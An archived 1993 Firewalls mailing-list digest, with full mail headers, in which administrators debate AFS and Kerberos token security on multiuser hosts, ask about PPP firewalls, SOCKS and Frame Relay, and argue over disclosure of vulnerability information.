Wed, 27 Oct 93 15:48:17 GMT Received: from alw.nih.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09087; Wed, 27 Oct 93 08:48:07 PDT Received: from kirin.dcrt.nih.gov by alw.nih.gov (5.61/1.35(alw-2.4)) id AA09379; Wed, 27 Oct 93 11:51:31 -0400 Received: by kirin.dcrt.nih.gov (4.1/3.15) id for pmetzger@lehman.com; Wed, 27 Oct 93 11:51:28 EDT Received: via switchmail; Wed, 27 Oct 1993 11:51:26 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Wed, 27 Oct 1993 11:50:01 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Wed, 27 Oct 1993 11:49:59 -0400 (EDT) Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.dude.dcrt.nih.gov.sun4c.411 via MS.5.6.dude.dcrt.nih.gov.sun4_41; Wed, 27 Oct 1993 11:49:59 -0400 (EDT) Message-Id: Date: Wed, 27 Oct 1993 11:49:59 -0400 (EDT) From: Bob Dew Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: pmetzger@lehman.com Subject: Re: System Security Cc: Firewalls@greatcircle.com In-Reply-To: <9310271540.AA26505@snark.lehman.com> References: <9310271540.AA26505@snark.lehman.com> Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Excerpts from Firewalls: 27-Oct-93 Re: System Security "Perry E. Metzger"@lehma (682) > What are you talking about? You have to get kerberos tickets on the > host that is accessing AFS if you are going to get files. If you > didn't need to do this the system would not be secure, since anyone > can forge IP packets. > Perry (a copy of my last posting was sent twice, by mistake). You can run a cache manager remotely, using the rx protocol. The remote machine talks to the AFS servers with authentication tokens stored in *its* kernel. This is all transparent to you, the client. Your machine sees and accesses the AFS filespace, as if you were running the cache manager locally. But your tokens and cache information are actually controlled by a remote machine. -Bob From Firewalls-Owner Wed Oct 27 09:06:32 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09038; Wed, 27 Oct 93 15:37:18 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09030; Wed, 27 Oct 93 08:37:01 PDT Received: from relay.lehman.com by lehman.com (8.6.3/LB 0.1) id LAA03860; Wed, 27 Oct 1993 11:40:41 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA08323; Wed, 27 Oct 93 11:40:37 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA26505; Wed, 27 Oct 93 11:40:37 EDT Message-Id: <9310271540.AA26505@snark.lehman.com> To: Bob Dew Cc: Firewalls@greatcircle.com Subject: Re: System Security In-Reply-To: Your message of "Wed, 27 Oct 1993 10:10:31 EDT." <8gnc5LO0ts4j0twkdX@alw.nih.gov> Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Wed, 27 Oct 1993 11:40:36 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Bob Dew says: > Excerpts from Firewalls: 26-Oct-93 Re: System Security Richard > Chycoski@wizard. (3341) > > > If you think that Kerberos is secure on a multiuser machine, even without > > root tampering, you're misinformed. > > As I mentioned, the authenticating host can be remote. We call this > host the "cache manager". The cache manager can be locked in vault and > stripped of user accounts and of all non-rpc network access, if you want. What are you talking about? You have to get kerberos tickets on the host that is accessing AFS if you are going to get files. If you didn't need to do this the system would not be secure, since anyone can forge IP packets. Perry From Firewalls-Owner Wed Oct 27 16:09:14 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09159; Wed, 27 Oct 93 16:09:14 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09151; Wed, 27 Oct 93 09:09:01 PDT Received: from relay.lehman.com by lehman.com (8.6.3/LB 0.1) id MAA04311; Wed, 27 Oct 1993 12:12:44 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA09238; Wed, 27 Oct 93 12:12:42 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA26553; Wed, 27 Oct 93 12:12:41 EDT Message-Id: <9310271612.AA26553@snark.lehman.com> To: Bob Dew Cc: Firewalls@greatcircle.com Subject: Re: System Security In-Reply-To: Your message of "Wed, 27 Oct 1993 11:49:59 EDT." Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Wed, 27 Oct 1993 12:12:40 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Bob Dew says: > Excerpts from Firewalls: 27-Oct-93 Re: System Security "Perry E. > Metzger"@lehma (682) > > > What are you talking about? You have to get kerberos tickets on the > > host that is accessing AFS if you are going to get files. If you > > didn't need to do this the system would not be secure, since anyone > > can forge IP packets. > > You can run a cache manager remotely, using the rx protocol. The remote > machine talks to the AFS servers with authentication tokens stored in > *its* kernel. This is all transparent to you, the client. Your machine > sees and accesses the AFS filespace, as if you were running the cache > manager locally. But your tokens and cache information are actually > controlled by a remote machine. And such a setup eliminates any security because anyone can forge IP packets and pretend to be the client workstation, yes. Case in point. Perry From Firewalls-Owner Wed Oct 27 16:15:11 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09180; Wed, 27 Oct 93 16:15:11 GMT Received: from alpha.xerox.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09172; Wed, 27 Oct 93 09:15:05 PDT Received: from vertigo.parc.xerox.com ([13.1.136.17]) by alpha.xerox.com with SMTP id <12203>; Wed, 27 Oct 1993 09:16:28 PDT Received: from 13.1.100.172 ([13.1.100.172]) by vertigo.parc.xerox.com with SMTP id <66012>; Wed, 27 Oct 1993 09:16:22 -0700 X-Sender: verber@vertigo.parc.xerox.com (Unverified) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Wed, 27 Oct 1993 10:18:24 PDT To: Steve Simmons , zwicky@erg.sri.com From: "Mark Verber" Subject: sage logo Cc: Firewalls@greatcircle.com Message-Id: <93Oct27.091622pdt.66012@vertigo.parc.xerox.com> Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Is there a SAGE logo that I could ftp from somewhere? Jeff and I are finishing up the cover page for the SAGE WWW server. It would be nice to include the SAGE logo, whatever it is. I can convert it from whatever form it is in to something we can use, though I would prefer a gif file if possible. --mark From Firewalls-Owner Wed Oct 27 16:19:49 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09197; Wed, 27 Oct 93 16:19:49 GMT Received: from ALABAMA.CF.CS.YALE.EDU (RT-GW.CS.YALE.EDU) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09189; Wed, 27 Oct 93 09:19:40 PDT Received: from SPARKY.CF.CS.YALE.EDU by ALABAMA.CF.CS.YALE.EDU (5.65c/res.host.cf-3.5) with SMTP id AA24989; Wed, 27 Oct 1993 12:23:36 -0400 Received: by SPARKY.CF.CS.YALE.EDU (Sendmail-5.65c/res.client.cf-3.7) id AA02253; Wed, 27 Oct 1993 12:23:35 -0400 From: long-morrow@CS.YALE.EDU (H Morrow Long) Message-Id: <199310271623.AA02253@SPARKY.CF.CS.YALE.EDU> To: werner@cs.utexas.edu (Werner Uhrig) Cc: Firewalls@GreatCircle.COM Subject: Re: CERT and information In-Reply-To: Your message of Wed, 27 Oct 93 06:34:11 MDT. Date: Wed, 27 Oct 93 12:23:34 -0400 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk In message <9310271129.AA14847@cs.utexas.edu> you write: >smb@research.att.com remarked in digest 2.211: >> Btw, y'all may want to look at the ``News in Review'' section from this >> past Sunday's NY Times. There's a profile of Richard Petthia, the head >> of CERT. There's also the claim, attributed to a Scotland Yard >> detective, that deaths have resulted from a computer intrusion. He >> said that a weather bureau computer was penetrated, stopping forecasts, >> which led to the loss of a ship in a storm in the English Channel. >> (No, there weren't any more details on what really happened.) > > I haven't read the NYT story yet, but I'd guess that it was written > by John Markoff and is based on a presentation by a Yard detective > given at the recent FIRST workshop in St. Louis, Aug 10-13; he gave > an extraordinarily dramatic presentation (voice and diction was > stage quality) telling 3 stories of how crackers (could?) cause harm > on computer networks; besides the ship story, there was a story about I have the NYT article in front of me and yes, yes and yes. I have also heard a story about teenage hackers who moved a satellite in geo- synchonous orbit to a new orbit by running a program that fired the satellite's rockets used to adjust the orbit. Here in Connecticut we had teenage hackers who (via demon-dialing) found a phone line and modem attached to a DOT computer (which was not passworded) and were able to put up nasty messages - about the governor and the state police - in lights on those programmable "bad weather"/"construction ahead" signs on the highway for drivers going to/from work. No firewall there...it reminds me of the movie "LA Story" though. Also in the NYT article Markoff says that "The Internet's growth rate is a staggering 20% per month, and it suggests increasing pressure on CERT as the data superhighway approaches". "I'm continually awestruck by the Internet and its acceptance and growth," Mr. Petthia said. "This curve has been going on for three years" - he paused - "and the incident rate is marching right along with it." - "Keeping Things Safe and Orderly In the Neighborhoods of Cyberspace" New York Times, Sun Oct 24, 1993 - Morrow From Firewalls-Owner Wed Oct 27 09:36:33 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09061; Wed, 27 Oct 93 15:38:18 GMT Received: from alw.nih.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09053; Wed, 27 Oct 93 08:38:06 PDT Received: from kirin.dcrt.nih.gov by alw.nih.gov (5.61/1.35(alw-2.4)) id AA09184; Wed, 27 Oct 93 11:41:21 -0400 Received: by kirin.dcrt.nih.gov (4.1/3.15) id for pmetzger@lehman.com; Wed, 27 Oct 93 11:41:19 EDT Received: via switchmail; Wed, 27 Oct 1993 11:41:18 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Wed, 27 Oct 1993 11:41:04 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Wed, 27 Oct 1993 11:40:57 -0400 (EDT) Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.dude.dcrt.nih.gov.sun4c.411 via MS.5.6.dude.dcrt.nih.gov.sun4_41; Wed, 27 Oct 1993 11:40:56 -0400 (EDT) Message-Id: Date: Wed, 27 Oct 1993 11:40:56 -0400 (EDT) From: Bob Dew Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: Firewalls@greatcircle.com, richard@wizard.ucs.sfu.ca (Richard Chycoski) Subject: Re: System Security Cc: pmetzger@lehman.com In-Reply-To: <9310270608.AA03779@wizard.ucs.sfu.ca> References: <9310270608.AA03779@wizard.ucs.sfu.ca> Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Excerpts from Firewalls: 26-Oct-93 Re: System Security Richard Chycoski@wizard. (3341) > If you think that Kerberos is secure on a multiuser machine, even without > root tampering, you're misinformed. As I mentioned, the authenticating host can be remote. This is the same host that runs the cache manager. The cache manager can be locked in vault and stripped of user accounts and of all network access (except for authenticated rpc requests), if you like. By the way, are you suggesting that a host can't protect its core dumps or kmem from non-root access? Regardless of where the cache manager physically resides, I stand by the statement that the authenticating host is as secure as its root password. -Bob From Firewalls-Owner Wed Oct 27 16:42:38 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09265; Wed, 27 Oct 93 16:42:38 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09251; Wed, 27 Oct 93 09:42:27 PDT Received: from relay.lehman.com by lehman.com (8.6.3/LB 0.1) id MAA04708; Wed, 27 Oct 1993 12:46:20 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA09952; Wed, 27 Oct 93 12:46:19 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA26613; Wed, 27 Oct 93 12:46:14 EDT Message-Id: <9310271646.AA26613@snark.lehman.com> To: Bob Dew Cc: pmetzger@lehman.com, Firewalls@greatcircle.com Subject: Re: System Security In-Reply-To: Your message of "Wed, 27 Oct 1993 11:49:59 EDT." Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Wed, 27 Oct 1993 12:46:13 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Bob Dew says: [More stuff] Look, its as simple as this: Either your protocol stores tokens on the local machine, in which case it is insecure if there are other users on the machine, or it stores tokens on a remote machine, in which case authenticating is more or less pointless and you are back to the "lets hope no one forges packets" security that things like NFS give you. Those are the only two possibilities available. I like AFS, but you have to accept that if a workstation has multiple users it is not secure, and AFS is especially insecure to anyone who has the root password on your workstation and can steal your tokens with very simple tricks instead of complicated ones. Perry From Firewalls-Owner Wed Oct 27 10:06:33 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09306; Wed, 27 Oct 93 16:53:47 GMT Received: from alpha.xerox.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09298; Wed, 27 Oct 93 09:53:41 PDT Received: from lansun.parc.xerox.com ([13.1.100.40]) by alpha.xerox.com with SMTP id <12185>; Wed, 27 Oct 1993 09:57:01 PDT Received: by lansun.parc.xerox.com id <966>; Wed, 27 Oct 1993 09:56:54 -0700 From: Mark Verber To: firewalls@greatcircle.com Subject: Re: sage logo -- Sorry Message-Id: <93Oct27.095654pdt.966@lansun.parc.xerox.com> Date: Wed, 27 Oct 1993 09:56:53 PDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Sorry to send the query about the sage logo to the firewalls mailing list. I made an error driving my mail user agent. --mark From Firewalls-Owner Wed Oct 27 17:47:13 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09458; Wed, 27 Oct 93 17:47:13 GMT Received: from mercury.house.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09450; Wed, 27 Oct 93 10:47:05 PDT Received: from ozone.house.gov by mercury.house.gov with SMTP (1.37.109.4/16.2) id AA28222; Wed, 27 Oct 93 13:42:26 -0400 Received: by oxygen.house.gov (AIX 3.2/UCB 5.64/3.2.083191-) id AA08680; Wed, 27 Oct 1993 13:38:42 -0400 Date: Wed, 27 Oct 1993 13:38:42 -0400 From: johns@oxygen.house.gov (John Schnizlein) Message-Id: <9310271738.AA08680@oxygen.house.gov> To: minnich@wind.es.dupont.com Subject: Re: Frame Relay security concerns Cc: firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Call screening is not yet relevant to Frame Relay because it only provides permanent virtual circuits (PVCs) analogous to leased lines. Switched virtual circuits (SVCs) are on the drawing board, and these would be more like SMDS. Notice that SMDS is designed for PUBLIC (fast) switched networking, while Frame Relay is designed for private networking. Both provide packet forwarding. Just as SMDS service providers can limit endpoints with call screening, to create (more) private results, Frame Relay plans to enable less privacy (ie: more endpoints) through SVCs. Your intutitions about the kinds of threats you should protect against should map well between the switched telephone system (SMDS) and private lines (Frame Relay). I would want pretty strong authentication of any router that attempted to join my internal internetwork. Call screening might work if there is no possiblity of call forwarding. Who should ensure the non-existence of call forwarding paths? Do admins who use dial-back modems for routed connections worry about call forwarding having been spoofed into the telephone systems? My feeling is that authentication between the Autonomous Systems at each end is the "Internet" way to deal with this. Anybody want to start a flame about public key cryptography here? ;-) From Firewalls-Owner Wed Oct 27 17:58:30 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09479; Wed, 27 Oct 93 17:58:30 GMT Received: from relay2.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09471; Wed, 27 Oct 93 10:58:22 PDT Received: from spool.uu.net (via LOCALHOST) by relay2.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA07675; Wed, 27 Oct 93 14:02:06 -0400 Received: from telesoft.UUCP by uucp1.uu.net with UUCP/RMAIL (queueing-rmail) id 140112.23017; Wed, 27 Oct 1993 14:01:12 EDT Received: by rasht.alsys.com (4.1/TS-1.2b) id AA08144; Wed, 27 Oct 93 10:41:59 PDT Message-Id: <9310271741.AA08144@rasht.alsys.com> From: mnejat@rasht.alsys.com Date: Wed, 27 Oct 1993 10:41:59 PDT X-Mailer: Mail User's Shell (7.2.2 4/12/91) To: firewalls@greatcircle.com Subject: ppp and firewall Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Our company has finally decided to connect to Internet via ppp. We have chosen Netcom as the network provider. I would like to use a dual homed gateway as a firewall machine. Is this scheme possible with ppp? We also would like to provide ftp and telnet services to our users and need to know what software packages are available (both commercial and public domain). Thanks in advance, -Mehregan Nejat From Firewalls-Owner Wed Oct 27 20:06:43 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09919; Wed, 27 Oct 93 20:06:43 GMT Received: from relay2.UU.NET by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA09911; Wed, 27 Oct 93 13:06:37 PDT Received: from spool.uu.net (via LOCALHOST) by relay2.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA29210; Wed, 27 Oct 93 16:09:02 -0400 Received: from pages.UUCP by uucp6.uu.net with UUCP/RMAIL (queueing-rmail) id 160756.26583; Wed, 27 Oct 1993 16:07:56 EDT Received: from weasel by pages.com (NX5.67c/NX3.0M) id AA25469; Wed, 27 Oct 93 13:01:17 -0700 From: Sean Church Message-Id: <9310272001.AA25469@pages.com> Received: by weasel (NX5.67d/NX3.0X) id AA02624; Wed, 27 Oct 93 13:01:17 -0700 Date: Wed, 27 Oct 93 13:01:17 -0700 Received: by NeXT.Mailer (1.95) Received: by NeXT Mailer (1.95) To: firewalls@GreatCircle.COM Subject: firewall info request... Reply-To: schurch@pages.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Our company wants to connect to the internet via SLIP or PPP through a vendor (in this instance, CERFnet.). Where can I get information on firewalls for the beginners, so that I don't open us up to an immediate host of security issues that we have no clue about when we connect ? No, I don't have direct ftp access (we are not on the internet as of yet). Even better... firewalls with NeXTSTEP OS : is this possible to implement, or is it necessary to have a system that you can modify the source for security reasons to implement a firewall? Thanks! Sean Church From Firewalls-Owner Wed Oct 27 20:58:56 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA10126; Wed, 27 Oct 93 20:58:56 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA10117; Wed, 27 Oct 93 13:58:47 PDT Message-Id: <9310272058.AA10117@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by gryphon; Wed Oct 27 17:00:55 EDT 1993 To: Bob Dew Cc: Firewalls@GreatCircle.COM Subject: Re: System Security Date: Wed, 27 Oct 93 17:00:54 EDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Excerpts from Firewalls: 26-Oct-93 Re: System Security Richard Chycoski@wizard. (3341) > If you think that Kerberos is secure on a multiuser machine, even wi thout > root tampering, you're misinformed. As I mentioned, the authenticating host can be remote. This is the same host that runs the cache manager. The cache manager can be locked in vault and stripped of user accounts and of all network access (except for authenticated rpc requests), if you like. By the way, are you suggesting that a host can't protect its core dumps or kmem from non-root access? Regardless of where the cache manager physically resides, I stand by the statement that the authenticating host is as secure as its root password. And that seems to be a pretty low degree of security, which is why folks aren't happy about Kerberos et al. on multiuser machines. Not, of course, that I have a better answer... Btw, to explain more about the core dumps -- on many versions of UNIX, core dumps are created mode 644 subject to further restriction by the umask setting. If a process that uses a ticket dumps core -- not at all unlikely, during development -- anyone who can read that core dump can rob the corpse for credentials. (But you'll never get that AFS ticket out of Casablanca without a miracle, and the hackers have outlawed miracles...) From Firewalls-Owner Wed Oct 27 21:50:44 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA10363; Wed, 27 Oct 93 21:50:44 GMT Received: from telemann.inoc.dl.nec.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA10355; Wed, 27 Oct 93 14:50:19 PDT Received: by telemann.inoc.dl.nec.com (4.1/YDL1.9-920831.09) id AA25402(telemann.inoc.dl.nec.com); Wed, 27 Oct 93 16:30:55 CDT Received: by texas.syl.dl.nec.com (4.1/YDL1.9-930614.17) id AA08287(texas.syl.dl.nec.com); Wed, 27 Oct 93 16:30:54 CDT Received: by florida.syl.dl.nec.com (4.1/YDL1.9-920708.13) id AA16049(florida.syl.dl.nec.com); Wed, 27 Oct 93 16:30:52 CDT Date: Wed, 27 Oct 93 16:30:52 CDT From: ylee@syl.dl.nec.com (Ying-Da Lee) Message-Id: <9310272130.AA16049@florida.syl.dl.nec.com> To: firewalls@GreatCircle.COM, mnejat@rasht.alsys.com Subject: Re: ppp and firewall Cc: ylee@syl.dl.nec.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >We have chosen Netcom as the network provider. I would like to >use a dual homed gateway as a firewall machine. Is this scheme >possible with ppp? >We also would like to provide ftp and telnet services to our >users and need to know what software packages are available >(both commercial and public domain). If your inside hosts are Unix based, chances are the CSTC versions of SOCKS can fulfill your needs. They are available through anonymous ftp from host ftp.inoc.dl.nec.com, directory pub/security/socks.cstc. With version 4.0, you will also need the special patch to work with dual-homed server. That feature is built into version 4.1, which is in beta. Ying-Da Lee (214)518-3490 (214)518-3552 (FAX) Principal Member, Technical Staff NEC Systems Laboratory, C&C Software Technology Center / NEC USA, Corporate Network Administration Division ylee@syl.dl.nec.com From Firewalls-Owner Wed Oct 27 22:55:37 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA10764; Wed, 27 Oct 93 22:55:37 GMT Received: from alw.nih.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA10756; Wed, 27 Oct 93 15:55:29 PDT Received: from kirin.dcrt.nih.gov by alw.nih.gov (5.61/1.35(alw-2.4)) id AA10718; Wed, 27 Oct 93 14:06:50 -0400 Received: by kirin.dcrt.nih.gov (4.1/3.15) id for pmetzger@lehman.com; Wed, 27 Oct 93 14:06:45 EDT Received: via switchmail; Wed, 27 Oct 1993 14:06:45 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Wed, 27 Oct 1993 14:05:09 -0400 (EDT) Received: from dude.dcrt.nih.gov via qmail ID ; Wed, 27 Oct 1993 14:05:07 -0400 (EDT) Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.dude.dcrt.nih.gov.sun4c.411 via MS.5.6.dude.dcrt.nih.gov.sun4_41; Wed, 27 Oct 1993 14:05:07 -0400 (EDT) Message-Id: Date: Wed, 27 Oct 1993 14:05:07 -0400 (EDT) From: Bob Dew Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: pmetzger@lehman.com Subject: Re: System Security Cc: pmetzger@lehman.com, Firewalls@greatcircle.com In-Reply-To: <9310271646.AA26613@snark.lehman.com> References: <9310271646.AA26613@snark.lehman.com> Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I think you've switched from a contention that AFS isn't secure on multiuser hosts because ordinary users can easily steel tokens, to a hypothetical scenario involving forging IP packets and breaking into a secure machine using a proprietary protocol (rx), during a period when an active parallel session exists with another valid host that holds current tokens in the remote machine's kernel. Somehow, I don't equate the two. And while I hear what you`re saying, I nonetheless maintain that multiuser hosts running AFS are as secure as the root password of the host that runs the cache manager. -Bob From Firewalls-Owner Thu Oct 28 00:05:17 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA11016; Thu, 28 Oct 93 00:05:17 GMT Received: from lehman.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA11008; Wed, 27 Oct 93 17:05:07 PDT Received: from relay.lehman.com by lehman.com (8.6.3/LB 0.1) id UAA08873; Wed, 27 Oct 1993 20:09:02 -0400 Received: from snark.lehman.com by relay.lehman.com (4.1/LB-0.6) id AA18290; Wed, 27 Oct 93 20:09:00 EDT Received: by snark.lehman.com (4.1/SMI-4.1) id AA26963; Wed, 27 Oct 93 20:08:59 EDT Message-Id: <9310280008.AA26963@snark.lehman.com> To: Bob Dew Cc: Firewalls@greatcircle.com Subject: Re: System Security In-Reply-To: Your message of "Wed, 27 Oct 1993 14:05:07 EDT." Reply-To: pmetzger@lehman.com X-Reposting-Policy: redistribute only with permission Date: Wed, 27 Oct 1993 20:08:58 -0400 From: "Perry E. Metzger" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Bob Dew says: > I think you've switched from a contention that AFS isn't secure on > multiuser hosts because ordinary users can easily steel tokens, to a > hypothetical scenario involving forging IP packets and breaking into a > secure machine using a proprietary protocol (rx), during a period when > an active parallel session exists with another valid host that holds > current tokens in the remote machine's kernel. > > Somehow, I don't equate the two. Forging IP packets is trivial. The fact that the protocol is proprietary makes no difference. If a secure machine trusts insecure information, specifically unauthenticated packets, then it is not secure. > And while I hear what you`re saying, I > nonetheless maintain that multiuser hosts running AFS are as secure as > the root password of the host that runs the cache manager. If a machine trusts unauthenticated information, it is insecure. Anyone who can get access to your ethernet now owns you body and soul. Forging packets is trivial. Having done that, I can impersonate the client machine. I can very easily prevent the real client from communicating with you if neccesary. If a machine has kerberos and has multiple users, it is insecure -- at the very best, the security of the whole system now depends on the root password of the CLIENT machine where you can steal tickets at will if you have the root password there. Even if kerberos tickets are not stored on the machine, I can get any user passwords typed on the machine. Perry From Firewalls-Owner Thu Oct 28 01:18:03 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA11103; Thu, 28 Oct 93 01:18:03 GMT Received: from hydra.gatech.edu (hydra-rich.gatech.edu) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA11095; Wed, 27 Oct 93 18:17:53 PDT Received: from prism (sundial.gatech.edu) by hydra.gatech.edu (5.67a/3.1) id AA00619; Wed, 27 Oct 1993 21:21:51 -0400 Received: by prism.gatech.edu (4.1/1.0) id AA05252; Wed, 27 Oct 93 21:21:49 EDT From: gt6468c@prism.gatech.edu Message-Id: <9310280121.AA05252@prism> Subject: sendmail bug testing To: firewalls@GreatCircle.COM Date: Wed, 27 Oct 1993 21:21:48 -0400 (EDT) X-Mailer: ELM [version 2.4 PL21] Content-Type: text Content-Length: 730 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I am looking for an administrator that can give me permission to test the sendmail bug on various different Unixes. I am lookin to find out which Unixes are affected and what the responses are on machines that have been patched and the responses that havent been patch. I would learn more about which sendmails are affected and how they respond to the bug and the administrator would gain from the knowledge, by finding which machines are vulnerable and take precations. The reason I want to do some software testing is for a project. Thank you. -- Christopher William Klaus Internet: gt6468c@prism.gatech.edu coup@gnu.ai.mit.edu cklaus@hotsun.nersc.gov 26468 GaTech Station, Atlanta Georgia, 30332 (404)-206-1513 From Firewalls-Owner Thu Oct 28 03:10:52 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA11265; Thu, 28 Oct 93 03:10:52 GMT Received: from tuna.wang.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-931022) id AA11257; Wed, 27 Oct 93 20:10:43 PDT Received: from elf.wang.com by tuna.wang.com with SMTP id AA24134 (5.65c/IDA-1.5 for ); Wed, 27 Oct 1993 23:14:36 -0400 Received: from fnord.wang.com by elf.wang.com with SMTP id AA00990 (5.65c/IDA-1.5); Wed, 27 Oct 1993 23:14:30 -0400 Received: by fnord.wang.com (5.65c/TF5) id AA11243; Wed, 27 Oct 1993 23:14:26 -0400 From: Tom Fitzgerald Message-Id: <199310280314.AA11243@fnord.wang.com> Subject: Re: CERT and information To: werner@cs.utexas.edu (Werner Uhrig) Date: Wed, 27 Oct 93 23:14:25 EDT Cc: Firewalls@greatcircle.com In-Reply-To: <9310271129.AA14847@cs.utexas.edu>; from "Werner Uhrig" at Oct 27, 93 6:34 am X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > >> The lists functioned the way they did "in the old days" because most > >> of the people on the lists knew each other. > Tom Fitzgerald comments in 2.212: > > On the contrary, in '88-'89, the Zardoz list let on anyone who was a domain > > contact. This worked fine. > define "worked fine" (other than "I got information"); > was it effective in getting "solutions" to everyone in need > (savvy in sendmail hacking or not)? > did it keep the information out of the hands of black-hats? It provided more new information to the people trying to maintain security, than the people trying to break it, and thus made things in general more secure. There seems to be an attitude that it's better to hide useful information from 1000 sysadmins who need it, than to allow it to fall into the hands of even a single cracker. This is a little extreme. A better definition would be that information should be released if it protects more sites than it exposes. Still better would be a compromise between the two; if information *clearly* helps sites protect themselves, it should be revealed, and if this isn't known for sure, it's better to wait, since you can always reveal it later, but you can't undo it once its revealed. But, once sites are being broken into, it's too late to keep it secret. In the case of the sendmail bug, CERT already knew that "this vulnerability is being actively exploited" - by then, it was a little late to claim the barn door had been closed all this time. Crackers and hackers, both, really do share information among themselves. 2600 itself is a perfect example of this. Hiding the information, once it's known to the crackers, will only create a longer window of exposure to everyone except the select few insiders. I wish I didn't have to add more to this discussion, but it's degenerating into another case of "how do we decide who gets to be an insider?" (Perry, even you're adopting this viewpoint, claiming that insider-hood should be related to corporate revenue - before that, your comments were some of the most rational on the list.) This inevitably creates a pool of outsiders who get thrown to the wolves, to make sure the insiders stay safe. The Internet is evolving into something that will (hopefully) connect a large chunk of the world's population. These attempts to decide who gets protected from breakins, and who doesn't, could do enormous harm to it. And finally, the state of high-tech in the old Warsaw pact states should demonstrate one thing: in a race for innovation between people who freely exchange information between themselves, and those who operate on a need- to-know basis, the first group will bury the second group. 